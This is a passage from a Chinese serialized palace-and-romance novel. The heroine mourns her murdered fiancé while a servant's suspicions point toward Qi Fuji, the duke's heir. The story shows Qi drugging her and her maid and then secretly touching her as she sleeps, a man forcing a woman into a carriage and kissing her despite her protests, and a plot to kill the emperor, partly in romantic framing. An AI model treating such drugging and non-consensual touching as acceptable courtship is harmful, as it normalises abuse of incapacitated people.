“多谢大公子。”云窈接过,喝到一半突然觉得有点怪,为什么大公子要说里头没什么?她也没问用的哪几味药呀。 她没讲出口,继续喝着,仅眉头蹙了下。 齐拂己没放过这细微变化,但误以为是药苦,拿起几上另一碟备好的月官饼:“吃块饼,压压苦味,也垫肚子,你这一天都没吃什么东西。” 云窈没胃口,摇头:“我吃不下。” 齐拂己手顿了顿,仍往云窈跟前递:“中秋夜,总该应应景吧。” 这是他们一起过的第一个中秋节,他悠悠地想,禁不住想泛笑。云窈闻言却仰望窗外一轮秋月,又圆又明亮,一寸阴影都没有,万家灯火却是悲喜不同,对于张宗云来讲,呜咽不止,太过悲戚。 她今夜频频生起疑惑:大公子怎么还能过得下去节庆? 转念,自行解释:大公子许是好心劝慰,想分散她的忧思,不让她沉溺在悲伤中。 云窈抓起饼,咬一口,红豆馅里放了许多糖,不像寺里做的,甜到粘牙。 她咬的那口饼卡在喉管里,一噎,触碰到泪闸,两行晶莹默然落下。 齐拂己抬手递来一方绢帕。 朦胧中,云窈许久才发现,摇头拒绝。 齐拂己臂膀悬停空中须臾,缓慢收回,帕也收回怀中,只两眼盯着她淌泪,起先神态平和,古井无波,倒后来实在忍不住面上浮现冷意,犹如古井中迸起数点寒光——像一只兽,明明狩猎胜利,却要看着他叼回的猎物在自己窝里为别的雄兽哭泣。 云窈泪止不住,不知淌了多久,油灯烧尽,落玉重添一勺,她眼睛也是红红的,时不时抹把泪。 云窈终于抽出一条帕子拭泪,须臾,齐拂己起身:“你早些歇息吧。” “谢谢大公子。”她没看他。 齐拂己转身离去,轻得似一阵夜风,钻窗飘远。 等他出门了,落玉禁不住嘀咕:“世子……” 世子还挺关心小姐的,守了一晚,过于关切,但离开却又十分冷淡。 云窈猜到落玉想说什么,沉吟半晌,接话:“仁者爱人,大公子向来以大公至正之心待人。” 所以坚持守到她醒来,待她要入眠却又即刻离去。 当然,这仅仅是云窈心中所想,她不知那碗汤药里可不止酸枣仁,下了之前用过的蒙汗药,落玉喝的水里也下了药。 待子夜后,齐拂己再访香闺。 他冷冷站在床前,直勾勾盯她眼尾——那里泪虽然干了,却留下泪痕,他伸出拇指狠狠地擦,一遍又一遍,直到快在她的肌肤上留下痕迹才克制收手。 他嫉妒得发狂,不要为那人哭,不许再为那人哭。不能再擦拭,心内却仍有满腔的不甘和怨愤无从发泄,他寸寸倾身,脑袋也前倾,尝试着将唇贴上云窈眼角,还隔着几厘,就止不住浑身颤抖,双眸湿润。 他尝到点点咸味,原来这就是她泪的味道。齐拂己促眸深吸口气,原来用唇粘她肌肤,和用指腹摩挲是不一样的触感。他还想吻一吻她的睫毛、眼睛…… 齐拂己正要一顺用唇挪过去,忽听见极远处响动,他警觉得很,狠狠瞪了门外一眼,推开后窗翻过,又轻轻带上窗,全程无任何响动。 他很快回到自己厢房。 在禅床上坐下,却不似从前那样盘膝,分腿坐床沿,片刻,沉声道:“出来吧。” 速喜自梁上落下,单膝跪地听令。 齐拂己等了会,方道:“吾未杀卿,卿却死了。” 速喜埋首:“是属下失职。” “没想到他还有旁的仇家。”齐拂己摇首,“我只想劝他割爱,没想到……别人却是想要他性命。” 他长叹了口气:“那人好大胆子,竟敢在寺庙里动手,他知不知道,这是渎佛!” 他眼底微红,隐隐有些激动,满月的亮光照得分明。 刻把钟后,有武僧进入玄苦大师的禅院,入室轻轻带上门:“阿弥陀佛,方丈,弟子已经确认,房内始终只有两位女施主。” “那他呢?”玄苦合掌反问。 “世子一直在自己的禅房里,弟子听见他和下人言语……”武僧将隐于暗处的所见所闻娓娓道来。 玄苦听罢,面色渐松,叹了口气:“看来不是他。” 凶手另有其人。 玄苦起身。 “可是晚上来的刘仵作和杨捕快都说没有异样,”武僧跟着师父走,“会不会张施主真就是自己跌下来的?” 玄苦道:“我修书一封,你替我送去大理寺,交给李少卿。” 第29章 第二十九章 妹妹说他有情有义 * 国公府内正开中秋家宴。 将将入席,汉阳公主就开始抱怨人不齐全,齐拂己又入水月寺,魏国公也不见踪影。 众人皆不敢接话,公主不由得越说越久:“这爷俩攀比着不着家,要不都别过节了!” 齐拂意欲劝,却想咳嗽,捂嘴掩饰,制止了,才抬手伸向公主那边:“母亲……” 今日先上的五道下酒菜全是羊腿羊肚这类发物,服药忌讳,因此公主特意命人给齐拂意开小灶,他面前摆的都是些清淡菜品,此刻伸手,齐拂意声又极微弱,汉阳公主没大听清,只见儿子探来胳膊,以为他想尝羊肉,遂抬手虚打了下:“你莫吃这些!” 齐拂意唇张着,少顷,缓缓合上,在心底叹了口气。 公主继续絮叨,又说些别的,忽有仆妇匆匆跑到公主身侧,蹲下耳语——国公爷回家了,人这会在更衣。 公主禁不住嘴角笑,却又即刻沉下脸,待魏国公来到宴席上,她挑眼打量——常服玉冠,俊朗高雅,一点也不显老态,早二十年,他是多少贵女的春闺梦。 也就这样的男人堪配自己,汉阳公主心里骄傲,面上却剜魏国公一眼:“还晓得回来?” 一天天在做什么?就那么多政务?她看父皇都没他忙。 正奉头汤,魏国公笑呵呵挨着公主坐下:“这不回来得还及时么?” 他抬抬手,示意一班伶人奏乐。丝竹管弦热闹,就听不见公主唠叨。魏国公再给公主盛碗牡丹头汤,暖胃,和气。 不远处,齐姝静侍奉母亲,亦亲手盛了一碗牡丹汤。 说是牡丹,其实是豆腐水雕国花,用的鸡汤,却汤清如水,其色如茶。另上菜四色,酒五钟,寓意四季五福临门。 她听见公主叮嘱齐拂意:“你莫沾酒。” “是啊,”魏国公旋即接话,“建平侯家那小子就是酒喝多了伤身,都呕血了。” 建平侯家公子,那不是李凝吗? 齐姝静一下子心发凉,好在汤已盛完了,只要一直低头静坐,就无人察觉异样。 “李凝?他身子不是挺好吗?”公主反问国公,“你打来听来的消息?” “大理寺都告假五日了,建平侯也有跟我提起。” …… 再后头的话,齐姝静脑子嗡嗡,听不见了。 又上玛瑙锦丝汤,人手一碗。丫鬟端到齐姝静面前,堆笑提醒:“小姐,小心烫。” 烫吗? 她感受不到热气,心还是冰凉冰凉的,浸骨般寒。 之后蜜汤配月官饼亦无甚滋味,饭后急急漱口茶就歇下了。翌日,齐姝静扯个由头出门,走着走着就到了东街建平侯府,她一不经过大门,二避开角门,只在背街一排无门的粉墙下徘徊。 忽有人轻拍齐姝静肩头,她魂差点吓掉,转身见是李凝,仍急促吸一口气。 齐姝静眼神示意:你怎么在这里? 李凝柔声笑回:“我在楼上瞧见你,就下来了。” 齐姝静目光定在他苍白且有道道竖纹的唇上,再看他憔悴形容,的确像是病了。 “听说你病了?”她用蚊子般的声音问。 李凝却每个字都听得清,一字一句作答:“相、思、成、疾……” 齐姝静瞬间板起脸要走,李凝急忙拉住:“你是不是听说我病了,来瞧我的?” 他自个脸上漾起浓浓欢喜。 “我走了。”齐姝静想抽手。 李凝不放:“既然来探病,不如进去坐坐。” 齐姝静往侯府眺眼,仅能望见粉墙上灰蒙蒙的天空:“我不进你家里。” 话音未完全落就被李凝单手箍腰,整个人抱起,齐姝静两脚悬空,一声惊呼。李凝果决将她挟入车中,关上马车门。 “你做什么?!”齐姝静捶他。 李凝却吩咐车夫开路:“那就不进家里,你想去哪逛,就去哪逛。” 他手自打搂上齐姝静腰肢就再未松开,接着脑袋越过她肩头,转过头来封住她的唇。 齐姝静起先挣扎、退却,渐渐的胳膊垂下,任由李凝作为,到后来甚至反抚上他的背。李凝察觉齐姝静变化,带她转身,托着她的后脑勺放倒在地板上。 齐姝静泪眼朦胧,抬起一双胳膊勾住李凝脖颈。 “别哭了,别哭。”他心里也是从未有过的柔软酸涩,急急去吻她的泪,去哪逛?游历起伏山川,渡湍急河流。阴沉沉的天,马车内却一派旖旎。 * 张宗云在水月寺搁棺,云窈要着孝服,却被铁头拒绝:“云姑娘,您未过门,人死婚约消,算不得望门寡、未亡人,切莫为我家公子穿孝衣。” 云窈一愣,噎住。 落玉挽着云窈胳膊接话:“这话说的。” 怎么觉得哪里怪怪的,不中听呢。 落玉遂看云窈,云窈垂眼,余光偷偷环视一圈,大公子不发一言,众僧则合十垂首,等着待会给张宗云超度。 “好。”她应允。 七日的法会,鼓钹钟磬,发牒请佛,追荐张宗云早生天。 云窈虽未戴孝,但日夜都在道场为张宗云祈福。这日,披麻戴孝的铁头扶柩又哭一场,云窈看得悲恸,待他止了哭,跪上前一手递帕子,一手递水:“喝口水吧。” 铁头没要帕子,接过水一口饮下大半杯:“谢谢。” 算算已是第六日,云窈遂关切:“张公子的灵柩,你是打算扶回湖州去?” 铁头却摆头:“天热带不回去,不如葬城门脚下,城门挪不走,到时候我祭拜公子也好找。” 云窈愣了下,蹙眉:这天热吗? “路上热,回到湖州还遇秋老虎呢!”铁头补充。 云窈良久不语,铁头起身,她也起身,跟着他走到角落里,压嗓轻唤:“铁头。” 周遭鼓钹正响,稍远一点就听不清,“你是不是……” 是不是对她有些看法? 云窈已经感受到了,却说不出口,脑袋探向铁头,和颜悦色:“你有什么想法,都可以直言。” 他是不是怨她这个丧门星,克得张宗云先丢官后丢性命? 有想法,有怨气,骂出来她虽然难受,却也愿意受这一回。 铁头回身,凝视云窈,眼神探究,脑海里缓过一遍当日大雨中云窈还来婚书,不愿退婚,后又为张宗云竭力奔走…… 铁头正要开口,忽目光跃过云窈,望向她身后。 “我就是难受公子命苦!”铁头又哭起来,旁边没有棺材扶,他就转身抱住柱子,扯起嗓子嚎。 云窈先看他后才回头,发现齐拂己步入佛堂——大公子自然和他们不一样,没有天天守灵,只偶尔祭拜。 云窈起身走向齐拂己,行礼:“大公子。” 齐拂己目光在她脸上掠过——她天天待在这里,晚上也不回房睡,以至于他无从下手,为见她还得来这糟心的佛堂,看她为别的男人守灵。好在那小厮是个明白人,没叫她披麻戴孝。 他微微颔首,越过云窈,给张宗云上香。 云窈跪回原先的蒲团上。 过会,齐拂己上完香,弯腰捡了个蒲团放到云窈身边,也跪坐。 云窈上身不由自主提起:“大公子。” 齐拂己抬手示意她坐下。云窈遂重坐脚上,她看齐拂己身边仍不见长随,大安返京就没再来,便问:“大公子何时归家?” 齐拂己背直如松,直视前方张宗云灵柩:“和他相识一场,怎么也要等到头七以后。” 云窈暗赞齐拂己有情有义。 “你呢?” 云窈张目,微扬下巴:大公子问她? “你今后如何打算?” 云窈垂首,她想回杭州去。 齐拂己低头,盯着云窈发髻,她虽然没有戴白花,但卸去一头珠翠,耳坠子也摘了,只留如云乌鬓。 他冷着心道:“我看朝廷上报,最近南边起了匪患。” 云窈心一紧,抬头:“是南边哪里?” 齐拂己终于等来她主动对视,心中自然千回百转,语气却仍不咸不淡:“宣城、池州一带。” 那离杭州很近了,云窈咬唇。 齐拂己续道:“暂未剿灭,恐不安全。” 云窈不受控抖了下。 他凝睇着她,目光渐渐变得柔和、深远。 “和我一起回国公府吧。”齐拂己说话时心如桐琴,七弦齐齐震颤,抑不住尾音抖了下。 云窈当然不想回国公府,那里不是她的家,但也不好当面驳斥齐拂己,于是可耻地选择沉默。 齐拂己也没再说话,只看着低头的她,看着那一个乌黑的头顶,一直注视,良久才离去。 云窈照例守到晚上。 天色阴沉,乌云满布,不仅难见月,到亥时一刻左右,更是下起雨,还不小,氤氲湿气伴着响亮雨声,不断涌进佛堂。 轰隆隆——电闪雷鸣,连前边僧人敲木鱼的声音都听不见了。 云窈不由看向远处倚柱打瞌睡的落玉——她还在睡,没有被雷电吵醒。 “云姑娘、云姑娘。” 铁头唤了两声,她才听见,发现他不知道何时挪到身边。 轰隆—— 又一道白光劈进佛堂,照得铁头的脸一瞬煞白。 云窈怔了下,才准备问怎么了,铁头就用轻低得只有他俩能听见的声音问:“云姑娘,我该相信你吗?” 方才卡在喉咙里的话立刻冒出来:“怎么了?”云窈不解,“何出此言?” 铁头却直直盯着她,眼尾泛红,压低下巴,喉头还滑了下:“你对天发誓,没有害过我家公子。” 她当然不会害他,盼着张宗云好还来不及! 当时听见他深陷囹圄,心急如焚。 “我发誓,有害人之心天打五雷轰。” 别说,云窈起誓完,外头的雷竟然停了。 铁头吞咽一口,往云窈身边挪近些,等外面重响起雷,才几乎附耳道:“我家公子是被人害死的。” 云窈旋即张望,铁头也跟着环视——没事,他刚才已经观察过一遍,没有人注意到他俩。 “公子谨慎,他怕跌跤折骨,雪上添霜,特意命我找了根拐杖。他都是平地上走,上坡也是平坡上去,不会想不开拾级的。” 雷停了,铁头止声。 等了许久都没再响起,云窈紧抿双唇,待雨更大些,打得窗楹噼啪直响,能够遮掩了,她才启唇:“你继续讲。” “车翻下崖时,公子没有留意,但我瞧见窗外有一支箭。” “一支箭?” 铁头点头,睁圆眼一眨不眨:“有人埋伏放暗箭,车才会侧翻。那反诗一定也是同一个人陷害的……”他说着说着,呼吸越来越急促,“我很怕,怕那人还要灭我的口,姑娘能不能救救我?” 云窈也是心跳得剧烈,喘气转身:“我去找大公子——” “别!”铁头急止,甚至心急失礼,扣住云窈手腕。 为什么? 云窈心内暗自问完,忽然自己滞住,连心跳都一霎静止,面上先是失神,继而眸子渐暗,却又波光流动,信不敢信。 “防人之心不可无。”铁头睹着云窈变化,低沉道,“那个害公子的人一定在寺里。” 第30章 第三十章 妹妹说她记得 “你们在说什么呢?”落玉醒了,朝这边走来。 铁头即刻走开。 云窈私下回落玉:“唏嘘张公子。” “唉——”落玉一声长叹,“张公子实在太可怜了。” 好生生人,说没就没了,一提起来就难受,落玉抬手揉锁骨下方,同时望窗外——这雨没下透,太闷了! 云窈耳中却无哗哗雨声,陷入回忆:大公子那日说应景吃月官饼,是不是真就悲喜不同? 且寺僧说他好几年中秋没来水月寺,为什么今年却突然来? 云窈摇头,不能把人想得那么坏。 但她开始暗中打量佛堂里进进出出,每一个人,别人没察觉异样,她自己盯久了,先心虚,又是快跳又是眨眼,其实听了铁头描述,如果真有凶手,她是有几分怕的——怕凶手察觉,也取她性命。 但是不怯! 因为那人太坏了!朗朗乾坤敢杀人放火,还在庙里行凶,简直比妖魔还残暴!她不能放任这样的凶手逃脱法网,想到这云窈两只缩在袖里的手紧紧攥拳,给自己打气。 她观察了一宿,翌日下山,仍继续审视送葬队伍。 前方,水月寺派了四名僧人帮忙扶柩抬棺,会一路送到京城,她的车旁边是大公子——齐拂己今日没乘车,一人一骑下山回国公府,顺道也送张宗云最后一程。 这是云窈头回见齐拂己骑马,他翻上马背那一刻,她就怔了下,怎么能有人的动作这样利落潇洒? 待齐拂己勒着缰绳在她车旁走时,她忍不住偷看,他依旧骑得即轻松又平稳,金质玉相,让她很难移开双目。 齐拂己扫她一眼,瞧着: “看什么在?” 云窈也没扭捏,直言: “第一次见大公子骑马。” 稀奇。 齐拂己笑: “我经常骑马的,坐车反而少。” 因道路宽窄变化,他的马时远时近,拐弯后齐拂己身后就是悬崖,云窈心倏揪起:“大公子,当心坠崖!” 因离得近,她清晰睹见齐拂己唇角先僵了下,继而重扬高唇角,笑意更盛。 云窈心一沉,本能垂首。 “多谢提醒。” 齐拂己温润的声音传进云窈耳中,她点了点头,但没有再抬起。就这须臾,她替齐拂己找了许多解释理由,却仍觉得心里怪,不踏实。 会是大公子吗? 总觉得不可能,那样善良的人…… “小姐、小姐?小姐!”落玉连唤三声,云窈才回神,扭头看落玉,余光却也不忘观察齐拂己——他一直在注视,一定留意到她走神。 云窈突然怕得抖了下,连眨三下眼掩饰惊慌。 落玉心思没那么细腻,睹着云窈羽睫震颤,日光下美到不可方物,落玉一时痴了,分唇欣赏,忘记之前打算问的,云窈缘何走神。 “怎么了?”齐拂己反倒在车外问。 云窈不敢答,心里有个小人拿着棒槌敲鼓,咚咚咚! “镜明!”有男声遥遥呼唤,十分爽朗,一行人莫说云窈落玉,连寺僧们也被吸引,循声望去,见一匹白马驰骋而来,上山竟也能飒若流星。马上的少年箭袖紫金冠,比寻常人穿得单薄,到近前勒缰,白马一双前蹄高高扬起。他瞥见窗后云窈,冲她笑了下,擦身而过:“哈——镜明,你这是要回去了吗?” 很明显少年还记得云窈。 云窈垂头。 落玉禁不住问自家小姐悄悄话:“这谁呀?” 云窈也记得少年,他曾误闯进她的闺房,他叫步仙镝。 云窈抿了下唇,先关上窗后回答落玉,声音又轻又快:“步太尉家的。” 山道越来越宽,车马往下走也愈轻快,未防冲撞,策马人皆勒缰放缓。虽然窗户关了,隔绝外头人事,但云窈仍能听清步仙镝和齐拂己的谈话。 步仙镝问:“这是谁家出殡?” 不免唏嘘。 齐拂己却反问:“你怎么来了?” 车厢内,云窈默攥右拳。 车厢外,步仙镝不知方才那一笑令齐拂己生出嫌隙,麻利作答:“去你家找你,说来水月寺了,我就过来。” “什么事不能回家说?” “不能,我明日就要去云中了。” “去那么远的地方?”齐拂己拧眉,这一刻抛却嫌隙,是真心实意关心步仙镝。 “我爹让我去军中历练,给弄了个校尉,我自己也想闯一闯。”他偷看齐拂己一眼,其实还有烦他妹妹齐姝妍的原因,惹不起躲得起,避到千里之外。 “走之前想找你和季平聚聚。”季平是李凝表字,“昨日找了他,今日来寻你。” 步仙镝边说边回忆,李凝之前生病居家,但昨日去建平侯府,人竟然不在。步仙镝等了好久都没等到,出了门却在街上碰见,李凝说大理寺有急事,去了一趟。步仙镝无意扫见李凝腰间系的墨色锦带翻折,抬手帮他整理,又见李凝的圆领袍同样皱得厉害,遂打趣:“你就是这副模样当差吗?” 步仙镝到现在也没往深处想,将所见所闻全说与齐拂己听。 齐拂己眼皮撩了下,沉声:“今日我仨人再聚,我和季平一起为你送行。” “好啊!”步仙镝才不跟齐拂己客气,反而催道:“那我们跑一会马,早点回城,我明天一大早寅时就得随军动身!” 那会天还没亮呢! 步仙镝想到这抖了下缰绳,白马往前跑出数步,忽觉身后没动静,回身一瞧,齐拂己的马还在慢行。 步仙镝急脾气,就要再催,齐拂己却冲他道:“你等等。” 步仙镝利索转个马头,重跑回来。 齐拂己却没再瞥他,转而隔着窗户,告诉云窈自己要先走一会,详细解释。 说到一半云窈就推开窗户,不说自己能听见,都听见知,等齐拂己讲完,方才点头、轻声:“大公子快去吧。” 齐拂己深深望她一眼:“那我去了。” 打马跑起来,步仙镝瞟云窈,又眺齐拂己,拍着马屁股跟上,方才听齐拂己跟云窈交待,就觉得不对劲,不像寻常人情来往,待那句“那我去了”一出,步仙镝差点憋不住笑出声——齐拂己和他们说话,几时这样温柔耐心,恋恋不舍? 他追上齐拂己,衣摆皆往后扬:“镜明,她不是……住你家那表妹么?” 头回见到齐拂己对女子上心,怕不是前无古人后无来者,旷世一回,禁不住多打趣些:“上回殿下寿宴上她说喜欢你。” 齐拂己原先都敛着笑,神色淡漠,闻言瞬间旋高唇角,眉眼皆弯,浑身上下无一处不欢快。 天色阴沉灰暗,步仙镝却觉得出太阳了。 “跑你的马吧!”齐拂己笑道,声音是从未有过的畅快洪亮。步仙镝和他并肩驰骋,马蹄疾快,步仙镝尽兴,禁不住甩了一鞭子:“驾!” * 云窈始终和送葬队伍在一起,说是埋城墙脚下,但城墙脚下并不能埋,铁头央寺僧帮忙挑了个风水好的地,在北山一带,隔着护城河遥望城墙,他看坟后还有柳树,虽如今只剩枯枝,但明年抽芽,春风拂面,公子一定不会寂寞。 祭拜完,铁头趁左右无人,站在云窈身后急促道:“救我。” 上回和她说了没回应。 铁头是真的怕,总觉得有人在背后高悬利刀,他方才下山忍不住频频回顾,整个人似根紧绷弦,快疯了。 他要离京,即刻离开,但不能独自行动,他央求云窈,替他找一个稳妥离京法子,要在众目睽睽下,凶手不敢下手。 云窈很快就有了主意,但没立马开口,反而犹豫纠结。 “求求你了,帮我。”铁头屈膝,欲给云窈跪下,“我活在世上,公子方能有朝一日伸冤。” 他回头,看落玉和两寺僧走近,弯到一半的膝盖马上直起,紧闭双唇。 云窈亦瞧见来人,飞快问铁头:“你是不是非要回湖州?别的地方不去?” 铁头摇头,再回头眺寺僧。 “你愿不愿意去云中?”云窈问,北疆苦寒,不是所有人都愿意去。 铁头只迟疑一霎,就狠狠点头,继而又回望。 落玉和寺僧们近前,落玉朝铁头扬了扬下巴:“你瞧什么呢?” 怎么老回头看他们? 铁头却朝寺僧合十:“师父们是要回去了吗?” “阿弥陀佛,正是来同诸位施主道别。” 这会不仅铁头,云窈和落玉也合十躬身,与寺僧们拜别,铁头和云窈都再三道谢,铁头道:“谢谢诸位师父帮助我家公子,大恩大德,没齿难忘。” “阿弥陀佛,佛说八苦, 生老病死、爱别离、怨长久、求不得、放不下,还望铁施主早日开导放下。” “多谢师父。”铁头始终着腰,待寺僧们离开后,他直起腰目送了会,才回看云窈。 “跟我来。”云窈说。 “去哪?” “小姐我们去哪里?” 铁头和落玉同时发问,云窈目光先投向铁头:“落玉从小跟我一起长大,亲如姐妹,不是外人。” 铁头两瓣唇紧紧粘着,蠕动。 落玉一会瞥云窈,一会瞟铁头,头摇成了拨浪鼓,却还是懵的:“你们到底在说什么呀?” 铁头觑落玉一眼:“待会说。” 云窈便晓得铁头信过落玉了,她问铁头:“你晓得步太尉府在哪吗?” 铁头先环顾四周,而后才问原由,云窈说出步仙镝将开拔云中之事,又说步仙镝欠自己一个人情,她去兑现,他会带上铁头。 “小姐几时和太尉家有来往了?”落玉问。 云窈垂眼,当日步仙镝说承她一情,差点解玉佩,她看他应该是个一诺千金的人,且他如果想赖账,方才山上就会装作不认识,不会主动打招呼。 云窈说完原由,铁头领她往太尉府走,但两人都没有太靠近,不约而同选择进入府对街的酒肆,要了个二楼包间。铁头上楼时仍不住回首,落玉禁不住道:“你这脖子总有一天要扭疼!” 铁头没回话,待进包间,关紧门,窗也不开,仅透过绿纱往外望。他压低声音并捂口:“进太尉府只有这一条路,不管正门、角门,都得经过这。” 云窈望窗外,点头,趁步仙镝还未回,掏出一沓银票给铁头做盘缠。 仨人几乎熬了一天,等到酉时过半,天色将暗,步仙镝才打马归。 “来了!” “你们先在这等我。”云窈吩咐铁头落玉。 二仆颔首,云窈匆匆下楼离店,追上步仙镝:“步太尉。” 步仙镝没提灯,昏暗中瞧见一女子朝自己奔来,身姿妙曼,那劲头却是不管不顾,他不自禁屏息。 来人近前,瞧清容貌,竟是云窈,步仙镝脱口而出:“是你。” 云窈点头:“步太尉,民女求您一事。” 步仙镝忍俊不止:“我不是太尉,我爹才是。”他缓了须臾,续道:“且我答应过你会帮忙,有什么事尽管开口。” “步公子您曾经说日后遇着难处,只管来寻你。” 云窈和步仙镝同时开口,声音此起彼伏,互有掩盖,但两人却都听清。步仙镝笑意更浓,摸了下腰间玉佩:“是,只管寻我,刀山火海,莫有不帮。” 很奇怪,当日许诺他竟然每一个字都记得。 云窈也记得清,没时间深想纠结,只说自己有位朋友,也想去云中投军。 “好,你叫他来。”步仙镝一口应承。 云窈赶紧喊来铁头,昏昏夜色中,步仙镝将他收入麾下。 * 今日,步仙镝和齐拂己、李凝聚在茶楼。另外两人习惯迁就齐拂己,以茶代酒践行。 茶亦有尽时,道别散场,步仙镝以为各回各家,却不知唯有他自己走了,齐拂己和李凝皆磨蹭,依旧待在雅间,盘膝对坐。 李凝吸了吸鼻子。 “风寒还没好?”齐拂己抬手,“叫壶姜茶。” “不用。”李凝拒绝,“我没害风寒。” 他闭口,不说自己到底得的什么病,反而另起话题:“我好些日子没去大理寺了。前天才知道,张宗云没了。” 齐拂己面不改色饮茶。 良久,李凝低头喟叹:“唉,你何苦呢?”他两手放膝上,头却抬起,瞅着齐拂己:“治狱勘断公事,帮律、帮义,不帮亲。” 反诗案时,就已查到些蛛丝马迹,他当时没说,一是顾忌和齐拂己的情分,二来齐拂己也没致人死地。 “你看这幅画。”齐拂己起身,负手朝墙边走去,这茶楼是他挑的,墙上挂着一幅仕女图,簪花侧首,其态窈窕。齐拂己吟道:“静女其姝,俟我于城隅。爱而不见,搔首踟蹰。” 李凝面骤恍白,手紧贴大腿,指则翘起指上。 他很快一手抚上眉骨,另一手从怀中取出封书信,放到桌上推给齐拂己:“水月寺方丈给我寄了这个。” 齐拂己无声笑了笑,重坐下,接过信,和李凝对视颔首,达成默契。 30-40 第31章 第三十一章 惩罚 齐拂己离开茶楼时天已全黑,他在路边摊上买了盏灯笼,一手提灯,一手勒缰,街上仍有三两行人,为防冲撞,慢行缓归。 行了刻把钟,再拐过前方那座桥,就能望见国公府了。 却瞧见云窈在街边一排小摊前徘徊,旁边停着她那辆马车。齐拂己眼眸一亮,轻拍马走快些,赶到云窈身边。 “怎么在这?”他边问边翻身下马,这动作没过脑子,落地暗道不该。 云窈也没想到他会下马,短暂忘记谋划,哑口对视。 片刻后回神,低头小声嘀咕:“大公子还没回去。” 当日跟大伙道别,说好了回湖州,这会齐拂己不领路,她不好意思进门。 齐拂己很高兴,噙笑道:“是我的错,回去吧。” 他想日后成亲自己要早点下朝,不能让她独自在家久等。 云窈垂首未瞥齐拂己,缓缓走向马车,齐拂己抬手欲扶,她没搭他的手,踩凳上去了。他仍笑意不减,目送云窈钻进车厢,关了门,才一跃跨上马背。 车马皆慢行。 拐个弯,先后上桥,到晚上乌云反倒散了,一轮仍圆的月倒影水中,流波悠悠,像祖母的歌谣。 “小姐。”车厢内,落玉按捺不住,唤了云窈一声。 之前听了铁头讲述,落玉亦对齐拂己起防备心。安顿好铁头,落玉寻思的是赶紧赶慢回国公府,万一比世子晚回去,觉出端倪,就完了! 没想到小姐完全不慌,反而沿路闲逛,反守为攻。 刚才小姐在外头说话,落玉紧张极了,在车厢里掐自己胳膊,得留下五个指甲印。 大事上还是小姐厉害! 落玉不禁再唤一声“小姐”,云窈无声抚了下落玉胳膊,示意她不要再喊了,嘴上接话:“没事,我就倚着这眯会。” 车外,齐拂己始终偷听云窈言语,以为她靠墙打瞌睡栽倒,落玉才唤她。 他无声笑了笑,待会回去让她早点歇息,等她睡着了他再去看她。 云窈重回魏国公府,自然引一番风云,齐拂己领着云窈去见汉阳公主,恰巧魏国公也在,未说际遇时公主隐隐要发怒,待齐拂己说完张宗云遭遇,公主又噎住。 “云姑娘无处可去,身若浮萍,佛说若欲庄严佛土,平等行慈救苦,孩儿恳请父亲母亲开恩,重新收留云姑娘。”齐拂己一脸慈悲,对着上首公主和国公行礼,“阿弥陀佛。” 公主欲言又止,国公道:“那就留下吧,也是可怜孩子。” 少顷,公主附和:“是啊,就留下吧,府里不短这一碗饭。” 云窈没多嘴,只一个劲谢恩。 她住回木樨小筑,齐拂己目送离去,促起一双凤目,不急,他等子时。 他回世子院后休整片刻,用了膳,命下人烧汤沐浴——虽然每回晚上去云窈闺房时她都睡着,但他必须干干净净的,该有的礼节一个都不能少。 齐拂己沐浴更衣完,正由下人伺候着干发,小吉引魏国公长随来报:“世子,国公爷找您去,说是有事相商。” 齐拂己垂眼抿唇,方才和魏国公相见时,父亲可没有丝毫想听他说话的表现。 今夜,云窈的香闺探不成了。 齐拂己的表情依旧十分轻松,冲那长随笑道:“好,我整冠就去。” 待发干后,齐拂己未着冠,用一支玉簪束住青丝,不提灯笼,黑夜里轻车熟路去往魏国公书房。 护卫们守在门外,内里无人、十分寂静,齐拂己不紧不慢绕过屏风,下到密室。 愈发静了,火折子滋滋,响亮得像天上的雷。 密室里仅亮一小颗夜明珠,齐拂己拾级到底,再一步步踱向深处,阴暗中一点点显露魏国公的人脸、身形。 齐拂己再往前些,火折子照亮桌上一封封未拆密报——内里汇集了禁宫内外,圣人和文武百官的动向。大到国策,小到衣食住行,皆每日一报。之前魏国公全权交给齐拂己处理,他去水月寺八日,八日未理,魏国公也不批,堆积成山,几乎摆满整张桌,只留一角放着一碗不知酒还是水,清澈见底。 国公坐在桌后,手搭扶手,面有愠色:“提醒过你,不要因为一个女人荒怠政事。” 他只看中这一个孩儿,不希望将来大业成后,齐拂己耽于女色,二世而亡。 “父亲放心,不会耽误的。”齐拂己许诺。 良久,魏国公一声长叹在密室内回荡:“为父有近十年没罚过你了吧?” 齐拂己纹丝不动,须臾,平静道:“孩儿甘愿受罚。” 他解开腰带,将袍褪至腰间,袒露上身,而后单膝跪下,挺直脖颈和背。魏国公再掀开一颗夜明珠,令满室明亮,方便找出抽屉里存放的鞭子。桌上的碗里盛的是盐水,国公的鞭子浸了遍盐水,而后一鞭一鞭,抽在齐拂己前胸后背。 七七四十九鞭起。 其实齐拂己比小时候好些了,不管怎样打,背都挺直,脊柱不弯,但魏国公想着严父出虎子,但凡齐拂己有一丝颤抖,还是再加一鞭。 打完,齐拂己先道“多谢父亲”,而后才起身穿衣。 其实抽屉里还有治鞭伤的药,魏国公纠结了会,还是没拿出来,与齐拂己商议其它:“你外祖快了。”国公的语气寻常且淡漠,“就今年水月吧。” 金秋三月为西方金地,戌月一过寒霜降,水进气,亥子丑月水旺。 “你觉得用什么法子好?”魏国公又问。 “水月外祖易复发咳喘症?”齐拂己很快接话,“亥子月皆好。” 国公点头,答得随意:“我也这样想。” 腊月死人不吉利。 他私心相当埋怨当今圣上,觉得圣上的体弱隔代传给了齐拂意,导致他只有齐拂己一个儿子可用。 若说登大宝后再开枝散叶,延续子嗣,以他如今强弩之末的身体,已来不及。 想到这魏国公有些烦躁,起身负手:“时候不早了,我先回去。” 不能熬夜,得早睡觉。 齐拂己做出恭送姿态:“父亲早点歇息,孩儿会在这里处理完所有堆积公务。”他说话细听,和魏国公语气很是相似:“是孩儿之过,当一力承担。” 国公直到此刻才显露笑意,拍向齐拂己肩头时避开鞭伤:“亡羊补牢,为时未晚。” 齐拂己等国公离开密室后,才绕到桌后坐下,第一封密报拆开,就是步仙镝投军的消息。 他笑笑,摇头放到一边,继续拆下一封,如此看了一宿,茶不曾喝,眼不曾闭,该处理的处理,忙完已至第二天辰时。 这才回世子院,途中将过琴堤,听见远处喧哗并兵刃声,齐拂己当即警觉,担心圣人察觉异样,派人围府。 “怎么一大早就闹哄哄的?”他逮着一仆从,即刻询问,同时暗运掌风。 “是二小姐。夫人下令不允二小姐出府,她偏要闯,闹僵起来。” 闻言,齐拂己古井无波,步仙镝要走,齐姝妍自然会追,不稀奇。 